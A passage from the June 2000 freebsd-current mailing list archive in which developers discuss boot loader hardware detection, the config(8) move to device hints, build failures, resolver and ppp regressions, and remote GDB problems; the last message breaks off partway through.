majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 10: 7: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 3617237B7ED; Tue, 13 Jun 2000 10:07:06 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA22395; Tue, 13 Jun 2000 10:10:59 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006131710.KAA22395@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Luoqi Chen Cc: dcs@newsguy.com, msmith@FreeBSD.ORG, current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-reply-to: Your message of "Tue, 13 Jun 2000 11:40:47 EDT." <200006131540.e5DFekh04320@lor.watermarkgroup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Jun 2000 10:10:59 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > a larger issue. It is not the loader's job to detect the underlying > hardware configuration. Actually, in a broad fashion, it _is_. This is why the loader understands PCI and PnP, for example. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 11:41:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id A622237BC3F; Tue, 13 Jun 2000 11:41:37 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5DHrdi06492; Tue, 13 Jun 2000 13:53:39 -0400 (EDT) Date: Tue, 13 Jun 2000 13:53:39 -0400 (EDT) From: Luoqi Chen Message-Id: <200006131753.e5DHrdi06492@lor.watermarkgroup.com> To: msmith@FreeBSD.ORG Subject: Re: VMware detection code in boot loader Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > a larger issue. It is not the loader's job to detect the underlying > > hardware configuration. > > Actually, in a broad fashion, it _is_. This is why the loader > understands PCI and PnP, for example. > Why do we want to do that? Are we going to offload device probe routines to the loader? I thought the loader only needs to understand bootable devices, and it's the kernel's responsibility to handle the rest. -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 11:47: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 5EB1237C04F; Tue, 13 Jun 2000 11:47:05 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id LAA22933; Tue, 13 Jun 2000 11:51:04 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006131851.LAA22933@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Luoqi Chen Cc: msmith@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-reply-to: Your message of "Tue, 13 Jun 2000 13:53:39 EDT." <200006131753.e5DHrdi06492@lor.watermarkgroup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Jun 2000 11:51:04 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > a larger issue. It is not the loader's job to detect the underlying > > > hardware configuration. > > > > Actually, in a broad fashion, it _is_. This is why the loader > > understands PCI and PnP, for example. > > > Why do we want to do that? Are we going to offload device probe routines to > the loader? I thought the loader only needs to understand bootable devices, > and it's the kernel's responsibility to handle the rest. It's hard to decide where to draw the line, and hard to decide what is or isn't part of the boot path. The simplest answer is just to have the loader load drivers for everything that it can find, which is the path that we've been walking down. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 14:56:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from merc95.us.sas.com (merc95.us.sas.com [149.173.6.5]) by hub.freebsd.org (Postfix) with ESMTP id 731AB37BFF8 for ; Tue, 13 Jun 2000 14:56:23 -0700 (PDT) (envelope-from jwd@unx.sas.com) Received: from merc95.us.sas.com ([127.0.0.1]) by merc95.us.sas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2651.58) id LY37QSY4; Tue, 13 Jun 2000 17:56:22 -0400 Received: from 10.28.149.26 by merc95.us.sas.com (InterScan E-Mail VirusWall NT); Tue, 13 Jun 2000 17:56:22 -0400 (Eastern Daylight Time) Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA21211; Tue, 13 Jun 2000 17:56:22 -0400 Received: (from jwd@localhost) by bb01f39.unx.sas.com (8.9.3/8.9.1) id RAA91150 for freebsd-current@FreeBSD.org; Tue, 13 Jun 2000 17:56:22 -0400 (EDT) (envelope-from jwd) Date: Tue, 13 Jun 2000 17:56:22 -0400 From: John DeBoskey To: freebsd-current@FreeBSD.org Subject: make install of new kernel fails (bad /modules) Message-Id: <20000613175622.A91072@unx.sas.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On a freshly installed snap (5.0-20000612-SNAP), after compiling up a new kernel, the make install fails. Basically, it tries to 'cp /modules/* /modules.old' but /modules is empty and the cp fails. We need to either recognize an empty directory, or not fail if the cp fails. the following target is the problem: modules-install modules-install.debug: .if !defined(NO_MODULES_OLD) mkdir -p ${DESTDIR}/modules.old cp -p ${DESTDIR}/modules/* ${DESTDIR}/modules.old .endif cd $S/modules && env MAKEOBJDIRPREFIX=${.OBJDIR}/modules ${MAKE} install I don't have a patch for this right now. If none of the folks working in the kernel module area get to this, I'll try to do something with it in the next few days. Thanks! -John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 16:18:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 8B38C37B51A for ; Tue, 13 Jun 2000 16:18:29 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 2F4BF1CD7 for ; Tue, 13 Jun 2000 16:18:29 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: current@freebsd.org Subject: HEADS UP!: config changes... Date: Tue, 13 Jun 2000 16:18:29 -0700 From: Peter Wemm Message-Id: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG *** CAUTION IS REQUIRED ***! FYI, an intrusive commit has been done that requires careful attention. If you ignore this or mess it up, it can burn your house down, shoot your dog, close your bank accounts, report you to the IRS, or maybe even something bad. An old version 500001 config(8) will (I think) generate a buildable config. If you ignore the dire warnings and manage to get a kernel built somehow, you will have a less than fulfilling experience. Most likely you just will not be able to type anything as your console would be dead as the atkbd controller will have failed to probe. In a nutshell, what you need to do is: # update /usr/sbin/config cd src/usr.sbin/config; make cleandir obj depend && make all install # update /boot/loader.conf cd src/sys/boot; make obj depend all install # update your kernel config files cd src/sys/i386/conf perl gethints.pl < YOURKERNEL > /boot/device.hints vi YOURKERNEL change *ALL* "device foo0 at isa? port blah etc" to "device foo" - see GENERIC for examples. All the 'at ? port ?' stuff is handled by the new /boot/device.hints See GENERIC - if you use a static limited device (eg: fe, aha, le, etc) where GENERIC has 'device le 1' *and* you had more than one device (eg: device le0 at ..., device le1 at ...) then you will need to specify more units. (eg: "device le 2" in the example above.) # I cannot stress this enough: **SAVE A WORKING /kernel** cp /kernel /kernel.works This is not quite yet complete, but is fully functional. There may still be some syntax changes to the hints stuff in the future, so pay attention. With respect to LINT - we had a lot of documentation in the file that would have been lost if the 'at isa? port ...' was removed, so I've copied it to a file called 'NOTES' which is NOT something you can feed to config. This file is documentation only. I chose to not keep both LINT and NOTES as they would have gotten out of sync fairly quickly. However, it is still possible to generate a buildable test-coverage LINT. ie: cd src/sys/i386/conf; make LINT; config LINT LINT will be generated from the NOTES file. Hopefully I have not forgotten anything. I had to make minor tweaks after I generated and uploaded the patches. I have not tested it as well on the Alpha as I have on the i386. ------- Forwarded Message Date: Tue, 13 Jun 2000 15:28:50 -0700 From: Peter Wemm To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: cvs commit: src/usr.sbin/config Makefile config.h config.y ... peter 2000/06/13 15:28:50 PDT Modified files: usr.sbin/config Makefile config.h config.y configvers.h lang.l main.c mkheaders.c mkmakefile.c mkoptions.c sys/alpha/conf GENERIC SIMOS sys/boot/forth loader.conf sys/conf Makefile.alpha Makefile.i386 Makefile.pc98 files.alpha files.i386 files.pc98 sys/i386/conf GENERIC NEWCARD NOTES sys/i386/isa if_cx.c sys/i4b/driver i4b_isppp.c sys/i4b/tina-dd i4b_tina_dd.c sys/kern subr_bus.c sys/pc98/conf GENERIC sys/pc98/pc98 wd.c Added files: sys/alpha/conf GENERIC.hints gethints.pl sys/i386/conf GENERIC.hints Makefile NEWCARD.hints gethints.pl makeLINT.pl sys/pc98/conf GENERIC.hints gethints.pl Removed files: usr.sbin/config mkioconf.c sys/i386/conf LINT Log: Borrow phk's axe and apply the next stage of config(8)'s evolution. Use Warner Losh's "hint" driver to decode ascii strings to fill the resource table at boot time. config(8) no longer generates an ioconf.c table - ie: the configuration no longer has to be compiled into the kernel. You can reconfigure your isa devices with the likes of this at loader(8) time: set hint.ed.0.port=0x320 userconfig will be rewritten to use this style interface one day and will move to /boot/userconfig.4th or something like that. It is still possible to statically compile in a set of hints into a kernel if you do not wish to use loader(8). See the "hints" directive in GENERIC as an example. All device wiring has been moved out of config(8). There is a set of helper scripts (see i386/conf/gethints.pl, and the same for alpha and pc98) that extract the 'at isa? port foo irq bar' from the old files and produces a hints file. If you install this file as /boot/device.hints (and update /boot/defaults/loader.conf - You can do a build/install in sys/boot) then loader will load it automatically for you. You can also compile in the hints directly with: hints "device.hints" as well. There are a few things that I'm not too happy with yet. Under this scheme, things like LINT would no longer be useful as "documentation" of settings. I have renamed this file to 'NOTES' and stored the example hints strings in it. However... this is not something that config(8) understands, so there is a script that extracts the build-specific data from the documentation file (NOTES) to produce a LINT that can be config'ed and built. A stack of man4 pages will need updating. :-/ Also, since there is no longer a difference between 'device' and 'pseudo-device' I collapsed the two together, and the resulting 'device' takes a 'number of units' for devices that still have it statically allocated. eg: 'device fe 4' will compile the fe driver with NFE set to 4. You can then set hints for 4 units (0 - 3). Also note that 'device fe0' will be interpreted as "zero units of 'fe'" which would be bad, so there is a config warning for this. This is only needed for old drivers that still have static limits on numbers of units. All the statically limited drivers that I could find were marked. Please exercise EXTREME CAUTION when transitioning! Moral support by: phk, msmith, dfr, asmodai, imp, and others Revision Changes Path 1.27 +2 -2 src/usr.sbin/config/Makefile 1.37 +14 -29 src/usr.sbin/config/config.h 1.43 +21 -230 src/usr.sbin/config/config.y 1.21 +2 -2 src/usr.sbin/config/configvers.h 1.28 +10 -36 src/usr.sbin/config/lang.l 1.39 +17 -23 src/usr.sbin/config/main.c 1.16 +20 -42 src/usr.sbin/config/mkheaders.c 1.53 +103 -68 src/usr.sbin/config/mkmakefile.c 1.19 +11 -15 src/usr.sbin/config/mkoptions.c 1.81 +24 -24 src/sys/alpha/conf/GENERIC 1.12 +8 -8 src/sys/alpha/conf/SIMOS 1.27 +2 -2 src/sys/boot/forth/loader.conf 1.61 +8 -8 src/sys/conf/Makefile.alpha 1.191 +8 -8 src/sys/conf/Makefile.i386 1.92 +8 -8 src/sys/conf/Makefile.pc98 1.52 +1 -2 src/sys/conf/files.alpha 1.322 +1 -2 src/sys/conf/files.i386 1.155 +1 -3 src/sys/conf/files.pc98 1.260 +40 -46 src/sys/i386/conf/GENERIC 1.27 +41 -43 src/sys/i386/conf/NEWCARD 1.783 +404 -271 src/sys/i386/conf/NOTES 1.34 +1 -5 src/sys/i386/isa/if_cx.c 1.8 +1 -4 src/sys/i4b/driver/i4b_isppp.c 1.7 +1 -5 src/sys/i4b/tina-dd/i4b_tina_dd.c 1.68 +98 -63 src/sys/kern/subr_bus.c 1.142 +122 -68 src/sys/pc98/conf/GENERIC 1.113 +3 -6 src/sys/pc98/pc98/wd.c ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 16:24:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 57F3137B92C for ; Tue, 13 Jun 2000 16:24:10 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id QAA05083; Tue, 13 Jun 2000 16:24:02 -0700 Date: Tue, 13 Jun 2000 16:23:57 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > # I cannot stress this enough: **SAVE A WORKING /kernel** > cp /kernel /kernel.works Save a working /modules and /boot as well. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 16:42:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 5056437B56E for ; Tue, 13 Jun 2000 16:42:14 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id A9A211CD7; Tue, 13 Jun 2000 16:42:13 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: mjacob@feral.com Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: Message from Matthew Jacob of "Tue, 13 Jun 2000 16:23:57 PDT." Date: Tue, 13 Jun 2000 16:42:13 -0700 From: Peter Wemm Message-Id: <20000613234213.A9A211CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Jacob wrote: > > > # I cannot stress this enough: **SAVE A WORKING /kernel** > > cp /kernel /kernel.works > > Save a working /modules and /boot as well. Which is always good advice, but I can clarify the effect on these... The only change in /boot is /boot/defaults/loader.conf: diff -r1.26 -r1.27 24c24 < loader_conf_files="/boot/loader.conf /boot/loader.conf.local" --- > loader_conf_files="/boot/device.hints /boot/loader.conf /boot/loader.conf.local" ie: /boot/device.hints is searched for. If you override loader_conf_files in your own loader.conf, you will need to take care of it (or use static hints). /modules should be unchanged by these commits. I wimped out and have not set GENERIC use device.hints yet as I'm not sure how best to connect that up to the release process. Also note: if you do not use loader(8), you *MUST* compile the hints in statically. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 23:54:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 9F11D37C0E4; Tue, 13 Jun 2000 23:54:24 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id XAA43400; Tue, 13 Jun 2000 23:54:22 -0700 (PDT) (envelope-from dillon) Date: Tue, 13 Jun 2000 23:54:22 -0700 (PDT) From: Matthew Dillon Message-Id: <200006140654.XAA43400@apollo.backplane.com> To: John-Mark Gurney Cc: freebsd-current@FreeBSD.ORG, committers@FreeBSD.ORG Subject: Re: establish tcp connection slowness References: <20000613021558.43594@hydrogen.funkthat.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :NOTE: I'm not on -current, so if you trim committers, please cc me. : :I believe I have discovered a problem w/ -current... I would like more :data points to see if this is a problem... when I run :http://people.FreeBSD.org/~jmg/bench.py against a -current box (so far :I have tested against builder and kris's -current box) I find that it :has a very high time to establish the connection and return the data.. : :Durning this time, the box sometimes sits at 80% idle which it shouldn't :be... other times it pegs the cpu, but it cycles between the two... :when I run it against keichii's -stable box or my 3.4-R box I peg the :cpu load at 100% used and it does not exhibt the delayed connection :response... :... :I also see that sometimes it takes 15 seconds for a connection to be :established and all the data (all of 5 bytes or so) to be read off :the connection)... :... :kris has experienced that when running bench.py against his -current :box, it would take several second for telnet localhost to actually :connect... :... Typically time delays like this are due to the reverse DNS lookup failing. Make sure the dns resolver is working properly on the machine. You should be able to test it by running nslookup on the IP addresses connecting into the machine. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 1:20:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 8118137B825 for ; Wed, 14 Jun 2000 01:20:33 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id D6E781CD7 for ; Wed, 14 Jun 2000 01:20:28 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: Message from Peter Wemm of "Tue, 13 Jun 2000 16:18:29 PDT." <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Date: Wed, 14 Jun 2000 01:20:28 -0700 From: Peter Wemm Message-Id: <20000614082028.D6E781CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Wemm wrote: > # update /boot/loader.conf > cd src/sys/boot; make obj depend all install Of course, it would be just my luck that there is a loader bug right now, and this command will throw you into the fire. ;-( If your loader complains about not being version 0.3+ or later and aborting, comment the version tests out of /boot/loader.4th as an interim. I have also just committed a last-minute introduced bug that prevented static hints files with full-line comments in them from working properly. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 7:46:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (hermes.dialup.ru [194.87.16.230]) by hub.freebsd.org (Postfix) with ESMTP id 2A62B37C1F3; Wed, 14 Jun 2000 07:46:27 -0700 (PDT) (envelope-from ache@nagual.pp.ru) Received: (from ache@localhost) by nagual.pp.ru (8.9.3/8.9.3) id SAA00277; Wed, 14 Jun 2000 18:46:12 +0400 (MSD) (envelope-from ache) Date: Wed, 14 Jun 2000 18:46:07 +0400 From: "Andrey A. Chernov" To: current@freebsd.org Cc: brian@freebsd.org Subject: ppp is broken now Message-ID: <20000614184607.A262@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Fresh -current, "ppp -auto system" not react on outgoing packets and not dial, it seems they routed to dead end. Direct "dial system" command dials in, but packets not routed too. Restoring ppp from 8 Jun fix it. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 10: 5:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from pluto.plutotech.com (mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (Postfix) with ESMTP id BAB2C37C2D5 for ; Wed, 14 Jun 2000 10:05:17 -0700 (PDT) (envelope-from gibbs@plutotech.com) Received: from caspian.plutotech.com (root@mail.plutotech.com [206.168.67.137]) by pluto.plutotech.com (8.9.2/8.9.1) with ESMTP id LAA51258 for ; Wed, 14 Jun 2000 11:05:16 -0600 (MDT) (envelope-from gibbs@plutotech.com) Message-Id: <200006141705.LAA51258@pluto.plutotech.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: current@FreeBSD.org Subject: Remote GDB *still* buggy... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Jun 2000 11:05:41 -0600 From: "Justin T. Gibbs" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I still can't get remote GDB to work correctly in a 5.0-current environment at speeds greater than 9600bps. Is anyone else experiencing similar results? I thought that grog had fixed this... -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 11:25:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from pozo.com (pozo.com [216.101.162.50]) by hub.freebsd.org (Postfix) with ESMTP id 68DF437B87A for ; Wed, 14 Jun 2000 11:25:20 -0700 (PDT) (envelope-from null@pozo.com) Received: from dual.pozo.com (dual.pozo.com [216.101.162.51]) by pozo.com (8.9.3/8.9.3) with ESMTP id LAA00283; Wed, 14 Jun 2000 11:24:55 -0700 (PDT) (envelope-from null@pozo.com) Message-Id: <4.3.2.7.2.20000614111920.00b42c70@pozo.com> X-Sender: null@pozo.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Jun 2000 11:24:55 -0700 To: Peter Wemm , current@FreeBSD.ORG From: Manfred Antar Subject: Re: HEADS UP!: config changes... In-Reply-To: <20000614082028.D6E781CD7@overcee.netplex.com.au> References: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:20 AM 6/14/2000 -0700, Peter Wemm wrote: >Peter Wemm wrote: > >> # update /boot/loader.conf >> cd src/sys/boot; make obj depend all install > >Of course, it would be just my luck that there is a loader bug right now, >and this command will throw you into the fire. ;-( If your loader >complains about not being version 0.3+ or later and aborting, comment the >version tests out of /boot/loader.4th as an interim. > >I have also just committed a last-minute introduced bug that prevented >static hints files with full-line comments in them from working properly. > >Cheers, >-Peter Peter I got this to work after some tweaking. I was getting syntax errors from the hints file when booting. I cut and pasted out of GENERIC.hints into my.hints and now it seems to boot without any errors. I noticed I now have a new link in the / directory :: lrwxr-xr-x 1 root wheel 10 Jun 14 11:18 ttyv0@ -> /dev/ttyv0 is this normal ? Also it seems that there is a order in the hints file that needs to be followed. Manfred ================================== || null@pozo.com || || Ph. (415) 681-6235 || ================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 11:27:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from pluto.plutotech.com (mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (Postfix) with ESMTP id 3EDC137C2E4 for ; Wed, 14 Jun 2000 11:27:14 -0700 (PDT) (envelope-from gibbs@plutotech.com) Received: from caspian.plutotech.com (root@mail.plutotech.com [206.168.67.137]) by pluto.plutotech.com (8.9.2/8.9.1) with ESMTP id MAA53158; Wed, 14 Jun 2000 12:27:02 -0600 (MDT) (envelope-from gibbs@plutotech.com) Message-Id: <200006141827.MAA53158@pluto.plutotech.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Greg Lehey Cc: "Justin T. Gibbs" , current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... In-Reply-To: Your message of "Wed, 14 Jun 2000 11:11:00 PDT." <20000614111059.B7525@sydney.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Jun 2000 12:27:27 -0600 From: "Justin T. Gibbs" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >On Wednesday, 14 June 2000 at 11:05:41 -0600, Justin T. Gibbs wrote: >> I still can't get remote GDB to work correctly in a 5.0-current >> environment at speeds greater than 9600bps. Is anyone else >> experiencing similar results? I thought that grog had fixed this... > >So did I. Are you just getting hangs? What kind of UART? On which side of the connection? I'm using my Thinkpad 770X as the GDB host and it says: sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A On the machine I'm trying to debug, a Dell Precision 410, I have: sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A I suppose I could rip open the case to try and find what part they put on the motherboard for the 16550 support, but I'm had similar results with other machines. In GDB, you see some message about "malformed messages" and you can't seem to do anything. The other odd part is that speeds up to even 115200 work just fine up until the point that interrupt services are enabled. Then your hosed. -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 12:21:50 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id EC37637BADC; Wed, 14 Jun 2000 12:21:48 -0700 (PDT) Date: Wed, 14 Jun 2000 12:21:48 -0700 From: "Andrey A. Chernov" To: current@freebsd.org Cc: ume@freebsd.org Subject: res_init.c 1.20 broke non-INET6 kernel! Message-ID: <20000614122148.A14919@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All nameservers are initialized to AF_INET6 which cause socket() to return -1 in non-INET6 kernel. All names lookups fails as result. I think IPV6 support is optional, isn't? Moreover, this code is very strange looking by itself, because res_update() reinitialize all nameservers back to AF_INET -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 13:17:36 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 0171637B892; Wed, 14 Jun 2000 13:17:34 -0700 (PDT) Date: Wed, 14 Jun 2000 13:17:34 -0700 From: "Andrey A. Chernov" To: current@freebsd.org Cc: ume@freebsd.org Subject: Re: res_init.c 1.20 broke non-INET6 kernel! Message-ID: <20000614131734.A29253@freebsd.org> References: <20000614122148.A14919@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20000614122148.A14919@freebsd.org>; from ache@freebsd.org on Wed, Jun 14, 2000 at 12:21:48PM -0700 Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 14, 2000 at 12:21:48PM -0700, Andrey A. Chernov wrote: > All nameservers are initialized to AF_INET6 which cause socket() to return -1 > in non-INET6 kernel. > > All names lookups fails as result. Returning res_init.c to 1.19 and res_send.c to 1.32 solve this thing. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 14 13:29:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id A674337C209 for ; Wed, 14 Jun 2000 13:29:37 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA18320 for ; Wed, 14 Jun 2000 22:29:32 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: HEADSUP: bioops patch. From: Poul-Henning Kamp Date: Wed, 14 Jun 2000 22:29:32 +0200 Message-ID: <18317.961014572@critter.freebsd.dk> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This patch virtualizes & untangles the bioops operations vector. Background: The bioops operation vector is a list of OO-like operations which can be performed on struct buf. They are used by the softupdates code to handle dependencies. Ideally struct buf should have had a real OO like operations vector like vnodes have it, and struct bioops is the first step towards that. One of the reasons we should have 